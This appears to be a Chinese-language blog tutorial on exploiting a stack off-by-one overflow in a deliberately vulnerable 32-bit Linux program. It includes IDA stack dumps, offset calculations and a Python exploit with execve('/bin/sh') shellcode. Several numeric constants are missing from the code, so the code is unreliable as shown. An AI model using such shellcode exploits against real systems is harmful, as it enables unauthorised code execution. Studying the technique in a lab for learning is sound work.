ubuntu-16.04.5(X86)

IDA7.0

0x00.漏洞描述

1.什么是off by one?又称1字节溢出。

源字符串长度等于目标缓冲区长度时,将源字符串复制到目标缓冲区可能会导致off by one。

当源字符串长度等于目标缓冲区长度时,NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低位(1字节),这可能导致任意的代码执行。

0x01.漏洞分析

1.示例代码:

 #include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
bar(arg); /* [1] */
}
void bar(char* arg) {
char buf[];
strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
if(strlen(argv[])>) { /* [3] */
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -;
}
foo(argv[]); /* [4] */
return ;
}

编译生成目标文件:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c

上述示例代码的第[2]行是可能发生off by one溢出的地方。目标缓冲区长度为256,因此长度为256字节的源字符串可能导致任意代码执行。

2.如何产生任意代码执行?动态调试,如下图1所示,拷贝字符串前栈情况。

          图1

如果调用foo者的EBP位于目标缓冲区之上,则在strcpy之后,单个NULL(0x00)字节将覆盖调用者EBP的最后一个字节,如图2所示。

          图2

构造poc

//偏移

0xBFFFEF00-0xBFFFEE58+0x4=0xAC

python -c "print 'A' * 172 + 'B' * 4 + 'C' * 80"

执行strcpy之后,存储在目标缓冲区buf之上的EBP被一个NULL(0x00)字节所覆盖,ebp从0xBFFFEF64变为0xBFFFEF00(可对比图1图2)。从调试器堆栈布局我们可以看到堆栈位置0xBFFFEF00是目标缓冲区buf的一部分。

//拷贝前栈
BFFFEE58 F63D4E2E
BFFFEE5C B7E0CF12 libc_2..so:B7E0C
BFFFEE60 000008EA
BFFFEE64 B7E16618 libc_2..so:B7E16
BFFFEE68 B7E15DC8 libc_2..so:B7E15
BFFFEE6C 07B1EA71
BFFFEE70 B7FF7AC4 ld_2..so:__get_c
BFFFEE74 BFFFEF20 [stack]:BFFFEF20
BFFFEE78 B7FF59F3 ld_2..so:__get_c
BFFFEE7C B7FD5470 debug003:B7FD5470
BFFFEE80
BFFFEE84
BFFFEE88 B7FFF000 ld_2..so:B7FFF00
BFFFEE8C B7FFFC08 ld_2..so:_r_debu
BFFFEE90
BFFFEE94
BFFFEE98
BFFFEE9C BFFFEF2C [stack]:BFFFEF2C
BFFFEEA0 B7FE3FC9 ld_2..so:_dl_rtl
BFFFEEA4
BFFFEEA8 B7FFFAD0 ld_2..so:_r_debu
BFFFEEAC BFFFEF28 [stack]:BFFFEF28
BFFFEEB0 BFFFEF70 [stack]:BFFFEF70
BFFFEEB4 B7FE4B4B ld_2..so:_dl_rtl
BFFFEEB8 LOAD:
BFFFEEBC BFFFEF28 [stack]:BFFFEF28
BFFFEEC0 B7FFFA74 ld_2..so:_r_debu
BFFFEEC4
BFFFEEC8 B7FD54A0 debug003:B7FD54A0
BFFFEECC
BFFFEED0
BFFFEED4
BFFFEED8 B7FFF918 ld_2..so:_r_debu
BFFFEEDC 00F0B5FF
BFFFEEE0 BFFFEF1E [stack]:BFFFEF1E
BFFFEEE4
BFFFEEE8 000000C2
BFFFEEEC B7E996BB libc_2..so:strer
BFFFEEF0 BFFFEF1E [stack]:BFFFEF1E
BFFFEEF4 BFFFF020 [stack]:BFFFF020
BFFFEEF8 000000E0
BFFFEEFC
BFFFEF00 B7FFF000 ld_2..so:B7FFF00
BFFFEF04 B7FFF918 ld_2..so:_r_debu
BFFFEF08 BFFFEF20 [stack]:BFFFEF20
BFFFEF0C LOAD:aLibcStartMai
BFFFEF10
BFFFEF14 BFFFEFB4 [stack]:BFFFEFB4
BFFFEF18 B7FBB000 libc_2..so:B7FBB
BFFFEF1C 0000FF17
BFFFEF20 FFFFFFFF
BFFFEF24 0000002F
BFFFEF28 B7E15DC8 libc_2..so:B7E15
BFFFEF2C B7FD51B0 debug003:B7FD51B0
BFFFEF30
BFFFEF34 08049FF4 .got.plt:_GLOBAL_O
BFFFEF38
BFFFEF3C _init_proc+
BFFFEF40
BFFFEF44
BFFFEF48 08049FF4 .got.plt:_GLOBAL_O
BFFFEF4C __libc_csu_init+
BFFFEF50 B7FBB000 libc_2..so:B7FBB
BFFFEF54 B7FBB000 libc_2..so:B7FBB
BFFFEF58 BFFFEF64 [stack]:BFFFEF64
BFFFEF5C foo+
BFFFEF60 BFFFF20D [stack]:BFFFF20D
BFFFEF64 BFFFEF78 [stack]:BFFFEF78
BFFFEF68 080484F9 main+
BFFFEF6C BFFFF20D [stack]:BFFFF20D
//拷贝后栈
BFFFEE58
BFFFEE5C
BFFFEE60
BFFFEE64
BFFFEE68
BFFFEE6C
BFFFEE70
BFFFEE74
BFFFEE78
BFFFEE7C
BFFFEE80
BFFFEE84
BFFFEE88
BFFFEE8C
BFFFEE90
BFFFEE94
BFFFEE98
BFFFEE9C
BFFFEEA0
BFFFEEA4
BFFFEEA8
BFFFEEAC
BFFFEEB0
BFFFEEB4
BFFFEEB8
BFFFEEBC
BFFFEEC0
BFFFEEC4
BFFFEEC8
BFFFEECC
BFFFEED0
BFFFEED4
BFFFEED8
BFFFEEDC
BFFFEEE0
BFFFEEE4
BFFFEEE8
BFFFEEEC
BFFFEEF0
BFFFEEF4
BFFFEEF8
BFFFEEFC
BFFFEF00
BFFFEF04
BFFFEF08
BFFFEF0C
BFFFEF10
BFFFEF14
BFFFEF18
BFFFEF1C
BFFFEF20
BFFFEF24
BFFFEF28
BFFFEF2C
BFFFEF30
BFFFEF34
BFFFEF38
BFFFEF3C
BFFFEF40
BFFFEF44
BFFFEF48
BFFFEF4C
BFFFEF50
BFFFEF54
BFFFEF58 BFFFEF00 [stack]:BFFFEF00
BFFFEF5C foo+
BFFFEF60 BFFFF20D [stack]:BFFFF20D
BFFFEF64 BFFFEF78 [stack]:BFFFEF78
BFFFEF68 080484F9 main+
BFFFEF6C BFFFF20D [stack]:BFFFF20D

3.根据栈回溯,可以控制这个堆栈位置(0xBFFFEF00),因此他控制指令指针(eip )使用他可以实现任意代码执行,如图3图4。

          图3

          图4

leave指令相当执行了两条指令 mov ebp, esp; pop ebp,而EPB后面刚好是函数返回地址,再执行ret指令时EIP就指向了攻击者可以控制返回地址。

4.Poc编写获取shell

 #!/usr/bin/env python
import struct
from subprocess import call
#execve(/bin/sh)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
ret_addr = 0xBFFFEF18
def conv(num):
return struct.pack("<I",num)
buf = "A" *
buf += conv(ret_addr)
buf += "\x90" *
buf += shellcode
buf += "\x90" *
print "Calling program"
call(["./vuln", buf])

          图5

图5所示,成功获取shell。

0x02.总结

1.如果堆栈是随机的就不能成功利用,每次大小都是不一样的,很难固定shellcode的位置,所以关闭了ASLR。还有就是被溢出的地址必须得是buf的地址才能有机会成功。

Linux漏洞分析入门笔记-Off-By-One(栈)的更多相关文章

  1. Linux漏洞分析入门笔记-CVE-2015-0235

    Ubuntu 12.04 32位 ida 7.0 0x00:漏洞描述 1.glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞,导致使用gethostbyname系列函数 ...

  2. Linux漏洞分析入门笔记-CVE_2018_6323_整型溢出

    操作系统   Ubuntu 16.04 /32 位 调试器     IDA pro 7.0 漏洞软件   binutils-2.29.1 0x00: 漏洞描述 1.什么是整数溢出: 在计算机中,整数分 ...

  3. linux漏洞分析入门笔记-bypass_PIE

    ubuntu 16.04 IDA 7.0 docker 0x00:漏洞分析 1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack.heap. ...

  4. linux漏洞分析入门笔记-栈溢出

    ida7.0 ubuntu16.04 lts 0x00:环境配置 使用IDA远程调试Linux程序步骤如下: 1. 在进行远程调试之前需要对Linux平台进行一些准备工作.在IDA的安装目录中的dbg ...

  5. Linux内核分析课程笔记(一)

    linux内核分析课程笔记(一) 冯诺依曼体系结构 冯诺依曼体系结构实际上就是存储程序计算机. 从两个层面来讲: 从硬件的角度来看,冯诺依曼体系结构逻辑上可以抽象成CPU和内存,通过总线相连.CPU上 ...

  6. linux内核分析课程笔记(二)

    运行一个精简的操作系统内核 存储程序计算机是几乎所有计算机的基础逻辑框架. 堆栈是计算机中非常基础的东西,在最早计算机没有高级语言时,在高级语言出现之前,我们没有函数的概念.但高级语言出现后有了函数调 ...

  7. Linux内核分析 读书笔记 (第十八章)

    第十八章 调试 18.1 准备开始 1. 需要的只是: 一个bug 一个藏匿bug的内核版本 相关内核代码的知识和运气 2. 在跟踪bug的时候,掌握的信息越多越好. 18.2 内核中的bug 1.  ...

  8. Linux内核分析 读书笔记 (第四章)

    第四章 进程调度 调度程序负责决定将哪个进程投入运行,何时运行以及运行多长时间.进程调度程序可看做在可运行态进程之间分配有限的处理器时间资源的内核子系统.只有通过调度程序的合理调度,系统资源才能最大限 ...

  9. Linux内核分析 读书笔记 (第七章)

    第七章 链接 1.链接是将各种代码和数据部分收集起来并组合成为一个单一文件的过程,这个文件可被加载(或被拷贝)到存储器并执行. 2.链接可以执行于编译时,也就是在源代码被翻译成机器代码时:也可以执行于 ...

随机推荐

  1. 1.1、Logistics Regression模型

    1.线性可分VS线性不可分 对于一个分类问题,通常可以分为线性可分与线性不可分两种 .如果一个分类问题可以使用线性判别函数正确的分类,则称该问题为线性可分.如图所示为线性可分,否则为线性不可分: 下图 ...

  2. APUE第八章-进程控制

    一.进程标识 二.函数fork 1.写时复制,copy-on-write 2.文件共享,父进程等待子进程完成,子进程结束后,它对任一共享描述符的读写操作的文件偏移量已做相应的更新,同时操作时,可以考虑 ...

  3. asp 文章内容里的图片宽度过大 撑爆页面布局 解决办法

    有时候帮朋友做做企业网站,还是asp+access来的快,也经济(不用开数据库空间),fck做的后台内容编辑功能,但是他们传图片的时候不靠谱,图片不管有多宽都直接up上来,把前台页面撑的是面目全非! ...

  4. CMM模型,结构化开发方法和面向对象开发方法的比较,UML(统一建模语言),jackson开发方法

    CMM模型 一.CMM简介 CMM,英文全称为Capability Maturity Model for Software,即:软件成熟度模型. CMM的核心是把软件开发视为一个过程.它是对于软件在定 ...

  5. LDdecay计算和做图

    先下载PopLDdecay软件(开源GitHub) https://github.com/BGI-shenzhen/PopLDdecay PopLDdecay的安装 1) INSTALL Method ...

  6. P2801 教主的魔法

    传送门 $N$ 太大了主席树过不了 考虑分块 对每个块内的元素排序,询问就对大块二分查找,对两边小的部分暴力枚举 修改时维护 $add[i]$ 标记,维护当前块内整块已经加的数 那么整块的就直接修改 ...

  7. 给JFinal添加 Sqlite 数据库支持

    [转自] http://my.oschina.net/u/237078/blog/69934 Sqlite 的单文件便携性.高性能在开发中方便性无与伦比,即使部署在中小型应用中也胜任有余. 在JFin ...

  8. windos下redis服务的后台启动

    1. 进入 DOS窗口 2. 在进入Redis的安装目录 3. 输入:redis-server --service-install redis.windows.conf --loglevel verb ...

  9. aoj0033

    一.题意:有十个数,判断是否能分成两个递增序列 二.思路: 1.dfs:每个数判断在左边或者右边,遍历所有情况. 2.贪心:在保证递增序的前提下,判断一个数放左边或者右边,决定于其更接近于哪一边最上面 ...

  10. linux 第八章 高级键盘

    1.clear:清屏 2.history:显示历史命令列表 3.Ctrl+A:移动光标到行首 4.Ctrl+E:移动光标到行尾 5.Ctrl+F:光标向前移动一个字符 6.Ctrl+B:光标向h后移动 ...